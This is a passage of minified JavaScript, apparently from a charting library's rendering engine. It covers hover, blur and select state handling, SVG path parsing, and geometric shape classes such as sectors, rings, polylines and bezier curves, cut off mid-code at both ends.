null==t||e<=0||"transparent"===t||"none"===t?null:t.image||t.colorStops?"#000":t}function Tl(t){return null==t||"none"===t?null:t.image||t.colorStops?"#000":t}function kl(t,e,n){return"right"===e?t-n[1]:"center"===e?t+n[3]/2-n[1]/2:t+n[3]}function Cl(t){var e=t.text;return null!=e&&(e+=""),e}function Il(t){return!!(t.backgroundColor||t.lineHeight||t.borderWidth&&t.borderColor)}var Dl=Zo(),Al="undefined",Ll="series",Pl=vt(["tooltip","label","itemName","itemId","itemGroupId","itemChildGroupId","seriesName"]),Ol="original",Rl="arrayRows",Nl="objectRows",El="keyedColumns",Bl="typedArray",zl="unknown",Fl="column",Vl="row",Hl=["getDom","getZr","getWidth","getHeight","getDevicePixelRatio","dispatchAction","isSSR","isDisposed","on","off","getDataURL","getConnectedDataURL","getOption","getId","updateLabelLayout"],Wl=function(t){E(Hl,function(e){this[e]=W(t[e],t)},this)};var Gl=1,Ul={},Xl=Zo(),Yl=Zo(),ql=["emphasis","blur","select"],Zl=["normal","emphasis","blur","select"],jl="highlight",Kl="downplay",$l="select",Ql="unselect",Jl="toggleSelect",tu="selectchanged";function eu(t){return null!=t&&"none"!==t}function nu(t,e,n){t.onHoverStateChange&&(t.hoverState||0)!==n&&t.onHoverStateChange(e),t.hoverState=n}function ru(t){nu(t,"emphasis",2)}function iu(t){2===t.hoverState&&nu(t,"normal",0)}function ou(t){nu(t,"blur",1)}function au(t){1===t.hoverState&&nu(t,"normal",0)}function su(t){t.selected=!0}function lu(t){t.selected=!1}function uu(t,e,n){e(t,n)}function cu(t,e,n){uu(t,e,n),t.isGroup&&t.traverse(function(t){uu(t,e,n)})}function hu(t,e){switch(e){case"emphasis":t.hoverState=2;break;case"normal":t.hoverState=0;break;case"blur":t.hoverState=1;break;case"select":t.selected=!0}}function fu(t,e){var n=this.states[t];if(this.style){if("emphasis"===t)return function(t,e,n,r){var i=n&&P(n,"select")>=0,o=!1;if(t instanceof nl){var a=Xl(t),s=i&&a.selectFill||a.normalFill,l=i&&a.selectStroke||a.normalStroke;if(eu(s)||eu(l)){var u=(r=r||{}).style||{};"inherit"===u.fill?(o=!0,r=I({},r),(u=I({},u)).fill=s):!eu(u.fill)&&eu(s)?(o=!0,r=I({},r),(u=I({},u)).fill=fr(s)):!eu(u.stroke)&&eu(l)&&(o||(r=I({},r),u=I({},u)),u.stroke=fr(l)),r.style=u}}if(r&&null==r.z2){o||(r=I({},r));var c=t.z2EmphasisLift;r.z2=t.z2+(null!=c?c:10)}return r}(this,0,e,n);if("blur"===t)return function(t,e,n){var r=P(t.currentStates,e)>=0,i=t.style.opacity,o=r?null:function(t,e,n,r){for(var i=t.style,o={},a=0;a<e.length;a++){var s=e[a],l=i[s];o[s]=null==l?r&&r[s]:l}for(a=0;a<t.animators.length;a++){var u=t.animators[a];u.__fromStateTransition&&u.__fromStateTransition.indexOf(n)<0&&"style"===u.targetName&&u.saveTo(o,e)}return o}(t,["opacity"],e,{opacity:1}),a=(n=n||{}).style||{};return null==a.opacity&&(n=I({},n),a=I({opacity:r?i:.1*o.opacity},a),n.style=a),n}(this,t,n);if("select"===t)return function(t,e,n){if(n&&null==n.z2){n=I({},n);var r=t.z2SelectLift;n.z2=t.z2+(null!=r?r:9)}return n}(this,0,n)}return n}function pu(t){t.stateProxy=fu;var e=t.getTextContent(),n=t.getTextGuideLine();e&&(e.stateProxy=fu),n&&(n.stateProxy=fu)}function du(t,e){!bu(t,e)&&!t.__highByOuter&&cu(t,ru)}function gu(t,e){!bu(t,e)&&!t.__highByOuter&&cu(t,iu)}function vu(t,e){t.__highByOuter|=1<<(e||0),cu(t,ru)}function yu(t,e){!(t.__highByOuter&=~(1<<(e||0)))&&cu(t,iu)}function mu(t){cu(t,au)}function _u(t){cu(t,su)}function xu(t){cu(t,lu)}function bu(t,e){return t.__highDownSilentOnTouch&&e.zrByTouch}function wu(t){var e=t.getModel(),n=[],r=[];e.eachComponent(function(e,i){var o=Yl(i),a=function(t,e){return e.mainType===Ll?t.getViewOfSeriesModel(e):t.getViewOfComponentModel(e)}(t,i),s="series"===e;!s&&r.push(a),o.isBlured&&(a.group.traverse(function(t){au(t)}),s&&n.push(i)),o.isBlured=!1}),E(r,function(t){t&&t.toggleBlurSeries&&t.toggleBlurSeries(n,!1,e)})}function Su(t,e,n,r){var i=r.getModel();function o(t,e){for(var n=0;n<e.length;n++){var r=t.getItemGraphicEl(e[n]);r&&mu(r)}}if(n=n||"coordinateSystem",null!=t&&e&&"none"!==e){var a=i.getSeriesByIndex(t),s=a.coordinateSystem;s&&s.master&&(s=s.master);var l=[];i.eachSeries(function(t){var i=a===t,u=t.coordinateSystem;if(u&&u.master&&(u=u.master),!("series"===n&&!i||"coordinateSystem"===n&&!(u&&s?u===s:i)||"series"===e&&i)){if(r.getViewOfSeriesModel(t).group.traverse(function(t){t.__highByOuter&&i&&"self"===e||ou(t)}),N(e))o(t.getData(),e);else if(j(e))for(var c=H(e),h=0;h<c.length;h++)o(t.getData(c[h]),e[c[h]]);l.push(t),Yl(t).isBlured=!0}}),i.eachComponent(function(t,e){if("series"!==t){var n=r.getViewOfComponentModel(e);n&&n.toggleBlurSeries&&n.toggleBlurSeries(l,!0,i)}})}}function Mu(t,e,n){if(null!=t&&null!=e){var r=n.getModel().getComponent(t,e);if(r){Yl(r).isBlured=!0;var i=n.getViewOfComponentModel(r);i&&i.focusBlurEnabled&&i.group.traverse(function(t){ou(t)})}}}function Tu(t,e,n,r){var i={focusSelf:!1,dispatchers:null};if(null==t||"series"===t||null==e||null==n)return i;var o=r.getModel().getComponent(t,e);if(!o)return i;var a=r.getViewOfComponentModel(o);if(!a||!a.findHighDownDispatchers)return i;for(var s,l=a.findHighDownDispatchers(n),u=0;u<l.length;u++)if("self"===Dl(l[u]).focus){s=!0;break}return{focusSelf:s,dispatchers:l}}function ku(t){E(t.getAllData(),function(e){var n=e.data,r=e.type;n.eachItemGraphicEl(function(e,n){t.isSelected(n,r)?_u(e):xu(e)})})}function Cu(t){var e=[];return t.eachSeries(function(t){E(t.getAllData(),function(n){n.data;var r=n.type,i=t.getSelectedDataIndices();if(i.length>0){var o={dataIndex:i,seriesIndex:t.seriesIndex};null!=r&&(o.dataType=r),e.push(o)}})}),e}function Iu(t,e,n){Ou(t,!0),cu(t,pu),function(t,e,n){var r=Dl(t);null!=e?(r.focus=e,r.blurScope=n):r.focus&&(r.focus=null)}(t,e,n)}function Du(t,e,n,r){r?function(t){Ou(t,!1)}(t):Iu(t,e,n)}var Au=["emphasis","blur","select"],Lu={itemStyle:"getItemStyle",lineStyle:"getLineStyle",areaStyle:"getAreaStyle"};function Pu(t,e,n,r){n=n||"itemStyle";for(var i=0;i<Au.length;i++){var o=Au[i],a=e.getModel([o,n]);t.ensureState(o).style=r?r(a):a[Lu[n]]()}}function Ou(t,e){var n=!1===e,r=t;t.highDownSilentOnTouch&&(r.__highDownSilentOnTouch=t.highDownSilentOnTouch),n&&!r.__highDownDispatcher||(r.__highByOuter=r.__highByOuter||0,r.__highDownDispatcher=!n)}function Ru(t){return!(!t||!t.__highDownDispatcher)}function Nu(t){var e=t.type;return e===$l||e===Ql||e===Jl}function Eu(t){var e=t.type;return e===jl||e===Kl}var Bu=Ns.CMD,zu=[[],[],[]],Fu=Math.sqrt,Vu=Math.atan2;var Hu=Math.sqrt,Wu=Math.sin,Gu=Math.cos,Uu=Math.PI;function Xu(t){return Math.sqrt(t[0]*t[0]+t[1]*t[1])}function Yu(t,e){return(t[0]*e[0]+t[1]*e[1])/(Xu(t)*Xu(e))}function qu(t,e){return(t[0]*e[1]<t[1]*e[0]?-1:1)*Math.acos(Yu(t,e))}function Zu(t,e,n,r,i,o,a,s,l,u,c){var h=l*(Uu/180),f=Gu(h)*(t-n)/2+Wu(h)*(e-r)/2,p=-1*Wu(h)*(t-n)/2+Gu(h)*(e-r)/2,d=f*f/(a*a)+p*p/(s*s);d>1&&(a*=Hu(d),s*=Hu(d));var g=(i===o?-1:1)*Hu((a*a*(s*s)-a*a*(p*p)-s*s*(f*f))/(a*a*(p*p)+s*s*(f*f)))||0,v=g*a*p/s,y=g*-s*f/a,m=(t+n)/2+Gu(h)*v-Wu(h)*y,_=(e+r)/2+Wu(h)*v+Gu(h)*y,x=qu([1,0],[(f-v)/a,(p-y)/s]),b=[(f-v)/a,(p-y)/s],w=[(-1*f-v)/a,(-1*p-y)/s],S=qu(b,w);if(Yu(b,w)<=-1&&(S=Uu),Yu(b,w)>=1&&(S=0),S<0){var M=Math.round(S/Uu*1e6)/1e6;S=2*Uu+M%2*Uu}c.addData(u,m,_,a,s,x,S,h,o)}var ju=/([mlvhzcqtsa])([^mlvhzcqtsa]*)/gi,Ku=/-?([0-9]*\.)?[0-9]+([eE]-?[0-9]+)?/g;var $u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e.prototype.applyTransform=function(t){},e}(nl);function Qu(t){return null!=t.setData}function Ju(t,e){var n=function(t){var e=new Ns;if(!t)return e;var n,r=0,i=0,o=r,a=i,s=Ns.CMD,l=t.match(ju);if(!l)return e;for(var u=0;u<l.length;u++){for(var c=l[u],h=c.charAt(0),f=void 0,p=c.match(Ku)||[],d=p.length,g=0;g<d;g++)p[g]=parseFloat(p[g]);for(var v=0;v<d;){var y=void 0,m=void 0,_=void 0,x=void 0,b=void 0,w=void 0,S=void 0,M=r,T=i,k=void 0,C=void 0;switch(h){case"l":r+=p[v++],i+=p[v++],f=s.L,e.addData(f,r,i);break;case"L":r=p[v++],i=p[v++],f=s.L,e.addData(f,r,i);break;case"m":r+=p[v++],i+=p[v++],f=s.M,e.addData(f,r,i),o=r,a=i,h="l";break;case"M":r=p[v++],i=p[v++],f=s.M,e.addData(f,r,i),o=r,a=i,h="L";break;case"h":r+=p[v++],f=s.L,e.addData(f,r,i);break;case"H":r=p[v++],f=s.L,e.addData(f,r,i);break;case"v":i+=p[v++],f=s.L,e.addData(f,r,i);break;case"V":i=p[v++],f=s.L,e.addData(f,r,i);break;case"C":f=s.C,e.addData(f,p[v++],p[v++],p[v++],p[v++],p[v++],p[v++]),r=p[v-2],i=p[v-1];break;case"c":f=s.C,e.addData(f,p[v++]+r,p[v++]+i,p[v++]+r,p[v++]+i,p[v++]+r,p[v++]+i),r+=p[v-2],i+=p[v-1];break;case"S":y=r,m=i,k=e.len(),C=e.data,n===s.C&&(y+=r-C[k-4],m+=i-C[k-3]),f=s.C,M=p[v++],T=p[v++],r=p[v++],i=p[v++],e.addData(f,y,m,M,T,r,i);break;case"s":y=r,m=i,k=e.len(),C=e.data,n===s.C&&(y+=r-C[k-4],m+=i-C[k-3]),f=s.C,M=r+p[v++],T=i+p[v++],r+=p[v++],i+=p[v++],e.addData(f,y,m,M,T,r,i);break;case"Q":M=p[v++],T=p[v++],r=p[v++],i=p[v++],f=s.Q,e.addData(f,M,T,r,i);break;case"q":M=p[v++]+r,T=p[v++]+i,r+=p[v++],i+=p[v++],f=s.Q,e.addData(f,M,T,r,i);break;case"T":y=r,m=i,k=e.len(),C=e.data,n===s.Q&&(y+=r-C[k-4],m+=i-C[k-3]),r=p[v++],i=p[v++],f=s.Q,e.addData(f,y,m,r,i);break;case"t":y=r,m=i,k=e.len(),C=e.data,n===s.Q&&(y+=r-C[k-4],m+=i-C[k-3]),r+=p[v++],i+=p[v++],f=s.Q,e.addData(f,y,m,r,i);break;case"A":_=p[v++],x=p[v++],b=p[v++],w=p[v++],S=p[v++],Zu(M=r,T=i,r=p[v++],i=p[v++],w,S,_,x,b,f=s.A,e);break;case"a":_=p[v++],x=p[v++],b=p[v++],w=p[v++],S=p[v++],Zu(M=r,T=i,r+=p[v++],i+=p[v++],w,S,_,x,b,f=s.A,e)}}"z"!==h&&"Z"!==h||(f=s.Z,e.addData(f),r=o,i=a),n=f}return e.toStatic(),e}(t),r=I({},e);return r.buildPath=function(t){var e,r=Qu(t);r&&t.canSave()?(t.appendPath(n),(e=t.getContext())&&t.rebuildPath(e,1)):(e=r?t.getContext():t)&&n.rebuildPath(e,1)},r.applyTransform=function(t){!function(t,e){if(e){var n,r,i,o,a,s,l=t.data,u=t.len(),c=Bu.M,h=Bu.C,f=Bu.L,p=Bu.R,d=Bu.A,g=Bu.Q;for(i=0,o=0;i<u;){switch(n=l[i++],o=i,r=0,n){case c:case f:r=1;break;case h:r=3;break;case g:r=2;break;case d:var v=e[4],y=e[5],m=Fu(e[0]*e[0]+e[1]*e[1]),_=Fu(e[2]*e[2]+e[3]*e[3]),x=Vu(-e[1]/_,e[0]/m);l[i]*=m,l[i++]+=v,l[i]*=_,l[i++]+=y,l[i++]*=m,l[i++]*=_,l[i++]+=x,l[i++]+=x,o=i+=2;break;case p:s[0]=l[i++],s[1]=l[i++],Ht(s,s,e),l[o++]=s[0],l[o++]=s[1],s[0]+=l[i++],s[1]+=l[i++],Ht(s,s,e),l[o++]=s[0],l[o++]=s[1]}for(a=0;a<r;a++){var b=zu[a];b[0]=l[i++],b[1]=l[i++],Ht(b,b,e),l[o++]=b[0],l[o++]=b[1]}}t.increaseVersion()}}(n,t),this.dirtyShape()},r}var tc=function(){this.cx=0,this.cy=0,this.r=0},ec=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultShape=function(){return new tc},e.prototype.buildPath=function(t,e){t.moveTo(e.cx+e.r,e.cy),t.arc(e.cx,e.cy,e.r,0,2*Math.PI)},e}(nl);ec.prototype.type="circle";var nc=function(){this.cx=0,this.cy=0,this.rx=0,this.ry=0},rc=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultShape=function(){return new nc},e.prototype.buildPath=function(t,e){var n=.5522848,r=e.cx,i=e.cy,o=e.rx,a=e.ry,s=o*n,l=a*n;t.moveTo(r-o,i),t.bezierCurveTo(r-o,i-l,r-s,i-a,r,i-a),t.bezierCurveTo(r+s,i-a,r+o,i-l,r+o,i),t.bezierCurveTo(r+o,i+l,r+s,i+a,r,i+a),t.bezierCurveTo(r-s,i+a,r-o,i+l,r-o,i),t.closePath()},e}(nl);rc.prototype.type="ellipse";var ic=Math.PI,oc=2*ic,ac=Math.sin,sc=Math.cos,lc=Math.acos,uc=Math.atan2,cc=Math.abs,hc=Math.sqrt,fc=Math.max,pc=Math.min,dc=1e-4;function gc(t,e,n,r,i,o,a){var s=t-n,l=e-r,u=(a?o:-o)/hc(s*s+l*l),c=u*l,h=-u*s,f=t+c,p=e+h,d=n+c,g=r+h,v=(f+d)/2,y=(p+g)/2,m=d-f,_=g-p,x=m*m+_*_,b=i-o,w=f*g-d*p,S=(_<0?-1:1)*hc(fc(0,b*b*x-w*w)),M=(w*_-m*S)/x,T=(-w*m-_*S)/x,k=(w*_+m*S)/x,C=(-w*m+_*S)/x,I=M-v,D=T-y,A=k-v,L=C-y;return I*I+D*D>A*A+L*L&&(M=k,T=C),{cx:M,cy:T,x0:-c,y0:-h,x1:M*(i/b-1),y1:T*(i/b-1)}}function vc(t,e){var n,r=fc(e.r,0),i=fc(e.r0||0,0),o=r>0;if(o||i>0){if(o||(r=i,i=0),i>r){var a=r;r=i,i=a}var s=e.startAngle,l=e.endAngle;if(!isNaN(s)&&!isNaN(l)){var u=e.cx,c=e.cy,h=!!e.clockwise,f=cc(l-s),p=f>oc&&f%oc;if(p>dc&&(f=p),r>dc)if(f>oc-dc)t.moveTo(u+r*sc(s),c+r*ac(s)),t.arc(u,c,r,s,l,!h),i>dc&&(t.moveTo(u+i*sc(l),c+i*ac(l)),t.arc(u,c,i,l,s,h));else{var d=void 0,g=void 0,v=void 0,y=void 0,m=void 0,_=void 0,x=void 0,b=void 0,w=void 0,S=void 0,M=void 0,T=void 0,k=void 0,C=void 0,I=void 0,D=void 0,A=r*sc(s),L=r*ac(s),P=i*sc(l),O=i*ac(l),R=f>dc;if(R){var N=e.cornerRadius;N&&(n=function(t){var e;if(U(t)){var n=t.length;if(!n)return t;e=1===n?[t[0],t[0],0,0]:2===n?[t[0],t[0],t[1],t[1]]:3===n?t.concat(t[2]):t}else e=[t,t,t,t];return e}(N),d=n[0],g=n[1],v=n[2],y=n[3]);var E=cc(r-i)/2;if(m=pc(E,v),_=pc(E,y),x=pc(E,d),b=pc(E,g),M=w=fc(m,_),T=S=fc(x,b),(w>dc||S>dc)&&(k=r*sc(l),C=r*ac(l),I=i*sc(s),D=i*ac(s),f<ic)){var B=function(t,e,n,r,i,o,a,s){var l=n-t,u=r-e,c=a-i,h=s-o,f=h*l-c*u;if(!(f*f<dc))return[t+(f=(c*(e-o)-h*(t-i))/f)*l,e+f*u]}(A,L,I,D,k,C,P,O);if(B){var z=A-B[0],F=L-B[1],V=k-B[0],H=C-B[1],W=1/ac(lc((z*V+F*H)/(hc(z*z+F*F)*hc(V*V+H*H)))/2),G=hc(B[0]*B[0]+B[1]*B[1]);M=pc(w,(r-G)/(W+1)),T=pc(S,(i-G)/(W-1))}}}if(R)if(M>dc){var X=pc(v,M),Y=pc(y,M),q=gc(I,D,A,L,r,X,h),Z=gc(k,C,P,O,r,Y,h);t.moveTo(u+q.cx+q.x0,c+q.cy+q.y0),M<w&&X===Y?t.arc(u+q.cx,c+q.cy,M,uc(q.y0,q.x0),uc(Z.y0,Z.x0),!h):(X>0&&t.arc(u+q.cx,c+q.cy,X,uc(q.y0,q.x0),uc(q.y1,q.x1),!h),t.arc(u,c,r,uc(q.cy+q.y1,q.cx+q.x1),uc(Z.cy+Z.y1,Z.cx+Z.x1),!h),Y>0&&t.arc(u+Z.cx,c+Z.cy,Y,uc(Z.y1,Z.x1),uc(Z.y0,Z.x0),!h))}else t.moveTo(u+A,c+L),t.arc(u,c,r,s,l,!h);else t.moveTo(u+A,c+L);if(i>dc&&R)if(T>dc){X=pc(d,T),q=gc(P,O,k,C,i,-(Y=pc(g,T)),h),Z=gc(A,L,I,D,i,-X,h);t.lineTo(u+q.cx+q.x0,c+q.cy+q.y0),T<S&&X===Y?t.arc(u+q.cx,c+q.cy,T,uc(q.y0,q.x0),uc(Z.y0,Z.x0),!h):(Y>0&&t.arc(u+q.cx,c+q.cy,Y,uc(q.y0,q.x0),uc(q.y1,q.x1),!h),t.arc(u,c,i,uc(q.cy+q.y1,q.cx+q.x1),uc(Z.cy+Z.y1,Z.cx+Z.x1),h),X>0&&t.arc(u+Z.cx,c+Z.cy,X,uc(Z.y1,Z.x1),uc(Z.y0,Z.x0),!h))}else t.lineTo(u+P,c+O),t.arc(u,c,i,l,s,h);else t.lineTo(u+P,c+O)}else t.moveTo(u,c);t.closePath()}}}var yc=function(){this.cx=0,this.cy=0,this.r0=0,this.r=0,this.startAngle=0,this.endAngle=2*Math.PI,this.clockwise=!0,this.cornerRadius=0},mc=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultShape=function(){return new yc},e.prototype.buildPath=function(t,e){vc(t,e)},e.prototype.isZeroArea=function(){return this.shape.startAngle===this.shape.endAngle||this.shape.r===this.shape.r0},e}(nl);mc.prototype.type="sector";var _c=function(){this.cx=0,this.cy=0,this.r=0,this.r0=0},xc=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultShape=function(){return new _c},e.prototype.buildPath=function(t,e){var n=e.cx,r=e.cy,i=2*Math.PI;t.moveTo(n+e.r,r),t.arc(n,r,e.r,0,i,!1),t.moveTo(n+e.r0,r),t.arc(n,r,e.r0,0,i,!0)},e}(nl);function bc(t,e,n){var r=e.smooth,i=e.points;if(i&&i.length>=2){if(r){var o=function(t,e,n,r){var i,o,a,s,l=[],u=[],c=[],h=[];if(r){a=[1/0,1/0],s=[-1/0,-1/0];for(var f=0,p=t.length;f<p;f++)Wt(a,a,t[f]),Gt(s,s,t[f]);Wt(a,a,r[0]),Gt(s,s,r[1])}for(f=0,p=t.length;f<p;f++){var d=t[f];if(n)i=t[f?f-1:p-1],o=t[(f+1)%p];else{if(0===f||f===p-1){l.push(kt(t[f]));continue}i=t[f-1],o=t[f+1]}Dt(u,o,i),Rt(u,u,e);var g=Et(d,i),v=Et(d,o),y=g+v;0!==y&&(g/=y,v/=y),Rt(c,u,-g),Rt(h,u,v);var m=It([],d,c),_=It([],d,h);r&&(Gt(m,m,a),Wt(m,m,s),Gt(_,_,a),Wt(_,_,s)),l.push(m),l.push(_)}return n&&l.push(l.shift()),l}(i,r,n,e.smoothConstraint);t.moveTo(i[0][0],i[0][1]);for(var a=i.length,s=0;s<(n?a:a-1);s++){var l=o[2*s],u=o[2*s+1],c=i[(s+1)%a];t.bezierCurveTo(l[0],l[1],u[0],u[1],c[0],c[1])}}else{t.moveTo(i[0][0],i[0][1]);s=1;for(var h=i.length;s<h;s++)t.lineTo(i[s][0],i[s][1])}n&&t.closePath()}}xc.prototype.type="ring";var wc=function(){this.points=null,this.smooth=0,this.smoothConstraint=null},Sc=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultShape=function(){return new wc},e.prototype.buildPath=function(t,e){bc(t,e,!0)},e}(nl);Sc.prototype.type="polygon";var Mc=function(){this.points=null,this.percent=1,this.smooth=0,this.smoothConstraint=null},Tc=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultStyle=function(){return{stroke:"#000",fill:null}},e.prototype.getDefaultShape=function(){return new Mc},e.prototype.buildPath=function(t,e){bc(t,e,!1)},e}(nl);Tc.prototype.type="polyline";var kc={},Cc=function(){this.x1=0,this.y1=0,this.x2=0,this.y2=0,this.percent=1},Ic=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultStyle=function(){return{stroke:"#000",fill:null}},e.prototype.getDefaultShape=function(){return new Cc},e.prototype.buildPath=function(t,e){var n,r,i,o;if(this.subPixelOptimize){var a=ul(kc,e,this.style);n=a.x1,r=a.y1,i=a.x2,o=a.y2}else n=e.x1,r=e.y1,i=e.x2,o=e.y2;var s=e.percent;0!==s&&(t.moveTo(n,r),s<1&&(i=n*(1-s)+i*s,o=r*(1-s)+o*s),t.lineTo(i,o))},e.prototype.pointAt=function(t){var e=this.shape;return[e.x1*(1-t)+e.x2*t,e.y1*(1-t)+e.y2*t]},e}(nl);Ic.prototype.type="line";var Dc=[],Ac=function(){this.x1=0,this.y1=0,this.x2=0,this.y2=0,this.cpx1=0,this.cpy1=0,this.percent=1};function Lc(t,e,n){var r=t.cpx2,i=t.cpy2;return null!=r||null!=i?[(n?Cn:kn)(t.x1,t.cpx1,t.cpx2,t.x2,e),(n?Cn:kn)(t.y1,t.cpy1,t.cpy2,t.y2,e)]:[(n?On:Pn)(t.x1,t.cpx1,t.x2,e),(n?On:Pn)(t.y1,t.cpy1,t.y2,e)]}var Pc=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultStyle=function(){return{stroke:"#000",fill:null}},e.prototype.getDefaultShape=function(){return new Ac},e.prototype.buildPath=function(t,e){var n=e.x1,r=e.y1,i=e.x2,o=e.y2,a=e.cpx1,s=e.cpy1,l=e.cpx2,u=e.cpy2,c=e.percent;0!==c&&(t.moveTo(n,r),null==l||null==u?(c<1&&(Nn(n,a,i,c,Dc),a=Dc[1],i=Dc[2],Nn(r,s,o,c,Dc),s=Dc[1],o=Dc[2]),t.quadraticCurveTo(a,s,i,o)):(c<1&&(An(n,a,l,i,c,Dc),a=Dc[1],l=Dc[2],i=Dc[3],An(r,s,u,o,c,Dc),s=Dc[1],u=Dc[2],o=Dc[3]),t.bezierCurveTo(a,s,l,u,i,o)))},e.prototype.pointAt=function(t){return Lc(this.shape,t,!1)},e.prototype.tangentAt=function(t){var e=Lc(this.shape,t,!0);return Nt(e,e)},e}(nl);Pc.prototype.type="bezier-curve";var Oc=function(){this.cx=0,this.cy=0,this.r=0,this.startAngle=0,this.endAngle=2*Math.PI,this.clockwise=!0},Rc=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultStyle=function(){return{stroke:"#000",fill:null}},e.prototype.getDefaultShape=function(){return new Oc},e.prototype.buildPath=function(t,e){var n=e.cx,r=e.cy,i=Math.max(e.r,0),o=e.startAngle,a=e.endAngle,s=e.clockwise,l=Math.cos(o),u=Math.sin(o);t.moveTo(l*i+n,u*i+r),t.arc(n,r,i,o,a,!s)},e}(nl);Rc.prototype.type="arc";var Nc=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type="compound",e}return n(e,t),e.prototype._updatePathDirty=function(){for(var t=this.shape.paths,e=this.shapeChanged(),n=0;n<t.length;n++)e=e||t[n].shapeChanged();e&&this.dirtyShape()},e.prototype.beforeBrush=function(){this._updatePathDirty();for(var t=this.shape.paths||[],e=this.getGlobalScale(),n=0;n<t.length;n++)t[n].path||t[n].createPathProxy(),t[n].path.setScale(e[0],e[1],t[n].segmentIgnoreThreshold)},e.prototype.buildPath=function(t,e){for(var n=e.paths||[],r=0;r<n.length;r++)n[r].buildPath(t,n[r].shape,!0)},e.prototype.afterBrush=function(){for(var t=this.shape.paths||[],e=0;e<t.length;e++)t[e].pathUpdated()},e.prototype.getBoundingRect=function(){return this._updatePathDirty.call(this),nl.prototype.getBoundingRect.call(this)},e}(nl),Ec=function(){function t(t){this.colorStops=t||[]}return t.prototype.addColorStop=function(t,e){this.colorStops.push({offset:t,color:e})},t}(),Bc=function(t){function e(e,n,r,i,o,a){var s=t.call(this,o)||this;return s.x=null==e?0:e,s.y=null==n?0:n,s.x2=null==r?1:r,s.y2=null==i?0:i,s.type="linear",s.global=a||!1,s}return n(e,t),e}(Ec),zc=function(t){function e(e,n,r,i,o){var a=t.call(this,i)||this;return a.x=null==e?.5:e,a.y=null==n?.5:n,a.r=null==r?.5:r,a.type="radial",a.global=o||!1,a}return n(e,t),e}(Ec),Fc=Math.min,Vc=Math.max,Hc=Math.abs,Wc=[0,0],Gc=[0,0],Uc=Xe(),Xc=Uc.minTv,Yc=Uc.maxTv,qc=function(){function t(t,e){this._corners=[],this._axes=[],this._origin=[0,0];for(var n=0;n<4;n++)this._corners[n]=new Se;for(n=0;n<2;n++)this._axes[n]=new Se;t&&this.fromBoundingRect(t,e)}return t.prototype.fromBoundingRect=function(t,e){var n=this._corners,r=this._axes,i=t.x,o=t.y,a=i+t.width,s=o+t.height;if(n[0].set(i,o),n[1].set(a,o),n[2].set(a,s),n[3].set(i,s),e)for(var l=0;l<4;l++)n[l].transform(e);Se.sub(r[0],n[1],n[0]),Se.sub(r[1],n[3],n[0]),r[0].normalize(),r[1].normalize();for(l=0;l<2;l++)this._origin[l]=r[l].dot(n[0])},t.prototype.intersect=function(t,e,n){var r=!0,i=!e;return e&&Se.set(e,0,0),Uc.reset(n,!i),!this._intersectCheckOneSide(this,t,i,1)&&(r=!1,i)||!this._intersectCheckOneSide(t,this,i,-1)&&(r=!1,i)||i||Uc.negativeSize||Se.copy(e,r?Uc.useDir?Uc.dirMinTv:Xc:Yc),r},t.prototype._intersectCheckOneSide=function(t,e,n,r){for(var i=!0,o=0;o<2;o++){var a=t._axes[o];if(t._getProjMinMaxOnAxis(o,t._corners,Wc),t._getProjMinMaxOnAxis(o,e._corners,Gc),Uc.negativeSize||Wc[1]<Gc[0]||Wc[0]>Gc[1]){if(i=!1,Uc.negativeSize||n)return i;var s=Hc(Gc[0]-Wc[1]),l=Hc(Wc[0]-Gc[1]);Fc(s,l)>Yc.len()&&(s<l?Se.scale(Yc,a,-s*r):Se.scale(Yc,a,l*r))}else if(!n){s=Hc(Gc[0]-Wc[1]),l=Hc(Wc[0]-Gc[1]);(Uc.useDir||Fc(s,l)<Xc.len())&&((s<l||!Uc.bidirectional)&&(Se.scale(Xc,a,s*r),Uc.useDir&&Uc.calcDirMTV()),(s>=l||!Uc.bidirectional)&&(Se.scale(Xc,a,-l*r),Uc.useDir&&Uc.calcDirMTV()))}}return i},t.prototype._getProjMinMaxOnAxis=function(t,e,n){for(var r=this._axes[t],i=this._origin,o=e[0].dot(r)+i[t],a=o,s=o,l=1;l<e.length;l++){var u=e[l].dot(r)+i[t];a=Fc(u,a),s=Vc(u,s)}n[0]=a+Uc.touchThreshold,n[1]=s-Uc.touchThreshold,Uc.negativeSize=n[1]<n[0]},t}(),Zc=[],jc=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.notClear=!0,e.incremental=1,e._displayables=[],e._temporaryDisplayables=[],e._cursor=0,e}return n(e,t),e.prototype.traverse=function(t,e){t.call(e,this)},e.prototype.useStyle=function(){this.style={}},e.prototype._useHoverStyle=function(){this.__hoverStyle=null},e.prototype.getCursor=function(){return this._cursor},e.prototype.innerAfterBrush=function(){this._cursor=this._displayables.length},e.prototype.clearDisplaybles=function(){this._displayables=[],this._temporaryDisplayables=[],this._cursor=0,this.markRedraw(),this.notClear=!1},e.prototype.clearTemporalDisplayables=function(){this._temporaryDisplayables=[]},e.prototype.addDisplayable=function(t,e){e?this._temporaryDisplayables.push(t):this._displayables.push(t),this.markRedraw()},e.prototype.addDisplayables=function(t,e){e=e||!1;for(var n=0;n<t.length;n++)this.addDisplayable(t[n],e)},e.prototype.getDisplayables=function(){return this._displayables},e.prototype.getTemporalDisplayables=function(){return this._temporaryDisplayables},e.prototype.eachPendingDisplayable=function(t){for(var e=this._cursor;e<this._displayables.length;e++)t&&t(this._displayables[e]);for(e=0;e<this._temporaryDisplayables.length;e++)t&&t(this._temporaryDisplayables[e])},e.prototype.update=function(){this.updateTransform();for(var t=this._cursor;t<this._displayables.length;t++){(e=this._displayables[t]).parent=this,e.update(),e.parent=null}for(t=0;t<this._temporaryDisplayables.length;t++){var e;(e=this._temporaryDisplayables[t]).parent=this,e.update(),e.parent=null}},e.prototype.getBoundingRect=function(){if(!this._rect){for(var t=new Be(1/0,1/0,-1/0,-1/0),e=0;e<this._displayables.length;e++){var 